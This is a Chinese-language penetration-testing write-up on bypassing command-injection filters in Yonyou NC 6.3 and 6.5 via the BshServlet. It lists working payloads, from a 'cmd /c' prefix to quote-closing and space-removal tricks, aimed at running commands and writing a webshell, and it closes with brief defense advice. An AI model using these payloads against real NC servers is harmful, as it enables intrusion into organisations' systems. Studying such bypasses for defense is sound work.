yonyouNC命令执行Bypass测试分享
字数 1059 2025-08-10 16:34:22
用友NC命令执行漏洞Bypass技术分析
1. 漏洞背景
用友NC系统存在多处命令执行漏洞,包括:
bsh.servlet.BshServlet命令执行漏洞- 反序列化导致的命令执行漏洞
在实际渗透测试中,这些漏洞常被用于获取系统权限,但不同版本存在不同的过滤机制,需要针对性绕过。
2. 测试环境
- Windows Server + NC6.3
- Windows Server + NC6.5
3. NC6.3版本绕过技术
3.1 基本命令执行问题
在NC6.3中,直接执行dir、echo等命令会失败,原因:
- 系统未调用
cmd.exe进程 - 存在基础命令过滤
3.2 绕过方法
通过添加cmd /c前缀可成功调用cmd并执行命令:
exec("cmd /c echo ccc > nc63.txt");
成功特征:
- 系统进程监控中可见
cmd.exe被调用 - 文件写入操作可正常执行
4. NC6.5版本绕过技术
4.1 新增防护机制
NC6.5增加了转义防护:
- 特殊字符(
>,<,|等)会被自动添加双引号转义 - 空格作为分界符触发转义
示例:
// 原始命令
cmd /c whoami > 1.txt
// 被转义后
"cmd" /c whoami ">" 1.txt
4.2 无参数命令执行绕过
利用特性:
- Windows中命令加双引号仍可执行
- NC6.5以空格分界转义
有效payload:
cmd /c whoami> 1.txt
// 转义为
"cmd" /c "whoami>1.txt"
4.3 带参数命令执行
绕过方法:
- 去除参数前的空格
- 直接连接参数与命令
示例:
cmd /c netstat/ant>1.txt
// 转义为
"cmd" /c "netstat/ant>1.txt"
目录操作:
cmd /c dir/b "C:\>1.txt"
// 转义为
"CmD" /c dir/b ""C:\>1.txt""
4.4 文件写入技术
写入webshell的挑战:
echo和>符号被转义- 需要干扰转义逻辑
有效payload:
cmd /c echo 11" >1.txt"
// 转义为
"cmd" /c echo 11" ">1.txt""
特点:
- 会多出引号和空格
- 但文件内容可成功写入
5. 技术总结
| 版本 | 防护机制 | 绕过关键点 | 典型payload |
|---|---|---|---|
| NC6.3 | 基础命令过滤 | 添加cmd /c前缀 |
exec("cmd /c echo test > file.txt") |
| NC6.5 | 特殊字符转义 | 去除空格、闭合引号 | cmd /c echo 11" >1.txt" |
| NC6.5 | 参数过滤 | 参数与命令直接连接 | cmd /c netstat/ant>1.txt |
6. 实战建议
- 先确定目标NC版本
- 测试基础命令执行情况
- 根据版本选择相应绕过技术
- 文件写入时注意观察转义效果
- 复杂命令可尝试分步执行
7. 防御建议
- 及时升级用友NC系统
- 限制Servlet访问权限
- 监控异常进程创建行为
- 对特殊字符进行严格过滤
- 实施最小权限原则